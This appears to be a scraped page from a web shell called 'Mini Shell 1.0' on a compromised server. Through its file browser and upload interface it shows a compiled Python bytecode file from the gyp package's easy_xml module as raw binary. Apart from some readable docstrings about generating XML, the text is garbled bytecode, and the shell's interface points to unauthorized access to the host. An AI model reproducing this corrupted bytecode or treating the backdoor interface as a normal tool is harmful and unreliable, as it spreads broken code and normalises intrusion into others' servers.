HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1780863/root/usr/lib/python3/dist-packages/gyp/__pycache__/
Upload File :
Current File : //proc/1780863/root/usr/lib/python3/dist-packages/gyp/__pycache__/easy_xml.cpython-311.pyc
�

�"Kb>�
��ddlZddlZddlZddlZ	en#e$r	ddlmZYnwxYwdd�Zdd�Z		dd�Z	dd	d
ddd
dd�Z
ejdd�e
eje
�������z��Zdd�ZdS)�N)�reduce�utf-8Fc��d|zg}|r|�d��t|||��d�|��S)ay Writes the XML content to disk, touching the file only if it has changed.

  Visual Studio files have a lot of pre-defined structures.  This function makes
  it easy to represent these structures as Python data structures, instead of
  having to create a lot of function calls.

  Each XML element of the content is represented as a list composed of:
  1. The name of the element, a string,
  2. The attributes of the element, a dictionary (optional), and
  3+. The content of the element, if any.  Strings are simple text nodes and
      lists are child elements.

  Example 1:
      <test/>
  becomes
      ['test']

  Example 2:
      <myelement a='value1' b='value2'>
         <childtype>This is</childtype>
         <childtype>it!</childtype>
      </myelement>

  becomes
      ['myelement', {'a':'value1', 'b':'value2'},
         ['childtype', 'This is'],
         ['childtype', 'it!'],
      ]

  Args:
    content:  The structured content to be converted.
    encoding: The encoding to report on the first XML line.
    pretty: True if we want pretty printing with indents and new lines.

  Returns:
    The XML content as a string.
  z#<?xml version="1.0" encoding="%s"?>�
�)�append�_ConstructContentList�join)�content�encoding�pretty�	xml_partss    �./usr/lib/python3/dist-packages/gyp/easy_xml.py�XmlToStringrsT��N5�x�?�@�)���
���T�����	�7�F�3�3�3�
����	�	��c
��|rd|z}d}nd}d}|d}t|t��stdt|��z���|�|dz|z��|dd�}|r}t|dt��rbt|d�����D]0\}}	|�d	|�d
t|	d����d
����1|dd�}|r�|�d��td�|d��}
|
}|r|r|�|��|D]O}t|t��r#|�t|�����:t||||dz���P|r|r|�|��|�d|�d|����dS|�d|z��dS)a+ Appends the XML parts corresponding to the specification.

  Args:
    xml_parts: A list of XML parts to be appended to.
    specification:  The specification of the element.  See EasyXml docs.
    pretty: True if we want pretty printing with indents and new lines.
    level: Indentation level.
  z  rrrzRThe first item of an EasyXml specification should be a string.  Specification was �<�N� z="T)�attr�"�>c�0�|ot|t��S)N)�
isinstance�str)�x�ys  r�<lambda>z'_ConstructContentList.<locals>.<lambda>^s��a�&>�J�q�#�,>�,>�rz</z/>%s)
rr�	Exceptionr�dict�sorted�items�
_XmlEscaperr	)
r�
specificationr
�level�indentation�new_line�name�rest�at�val�all_strings�
multi_line�
child_specs
             rr	r	@sJ������,�K��H�H��K��H�	�q�	�$�	�D�#�	�	�J�
�4�69�-�6H�6H�I�J�J�J����;��$�t�+�,�,�,�
�q�r�r�	�$�	��j��a��$�'�'���$�q�'�-�-�/�/�*�*�F�F���C�����R�R�R��C�d�)C�)C�)C�)C�)C�D�E�E�E�E�����8�D�	�(�
���S�����>�>��d�K�K�K� ��J��!�h�!����x� � � ��H�H�
�
�J��	$�	$�H����
�:�.�.�/�/�/�/��i��V�U�Q�Y�G�G�G�G��$�k�$����{�#�#�#�
����$�$�$���1�2�2�2�2�2�
���V�h�&�'�'�'�'�'rc�~�t|||��}|r�tjdkr�|�dd��}t	j��d}|rd|���|���kr:	|�|���|��}n#t$rYnwxYw	t|d��}|���}|���n	#d}YnxYw||kr;t|d��}|�
|��|���dSdS)a: Writes the XML content to disk, touching the file only if it has changed.

  Args:
    content:  The structured content to be written.
    path: Location of the file.
    encoding: The encoding to report on the first line of the XML file.
    pretty: True if we want pretty printing with indents and new lines.
  z
rr�rN�w)r�os�linesep�replace�locale�getdefaultlocale�upper�decode�encode�AttributeError�open�read�close�write)	r�pathrr
�win32�
xml_string�default_encoding�f�existings	         r�WriteXmlIfChangedrEpsI���7�H�f�5�5�*�
�
�r�z�V�#�#��#�#�D�&�1�1�J��.�0�0��3���
�,�2�2�4�4����8H�8H�H�H�
��&�&�'7�8�8�?�?��I�I�
�
��
�
�
�
���
������T�3���A��v�v�x�x�H��G�G�I�I�I�I����H�H�H���������T�3���A��G�G�J�����G�G�I�I�I�I�I��s�(B)�)
B6�5B6�:8C3�3C9z&quot;z&apos;z&lt;z&gt;z&amp;z&#xA;z&#xD;)r�'rr�&r�
z(%s)�|c�D���fd�}t�||��S)z& Escape a string for inclusion in XML.c���|j|���|����}�r|dkr|St|S)NrF)�string�start�end�_xml_escape_map)�match�mrs  �rr4z_XmlEscape.<locals>.replace�sD���
��U�[�[�]�]�U�Y�Y�[�[�0�1�A����S���
�h��1��r)�_xml_escape_re�sub)�valuerr4s ` rr#r#�s4��������
�	�	�G�U�	+�	+�+r)rF)r)rFF)F)�rer2r5�sysr�	NameError�	functoolsrr	rErO�compiler
�map�escape�keysrRr#�rr�<module>r^s6��

�	�	�	�	�	�	�	�
�
�
�
�
�
�
�
���&�&������������������-�-�-�-�`-(�-(�-(�-(�`?D�!� � � � �H
�	�	�	�	�
�
�������
�S�X�X�c�c�"�)�_�%9�%9�%;�%;�<�<�
=�
=�=�?�?��,�,�,�,�,�,s��#�#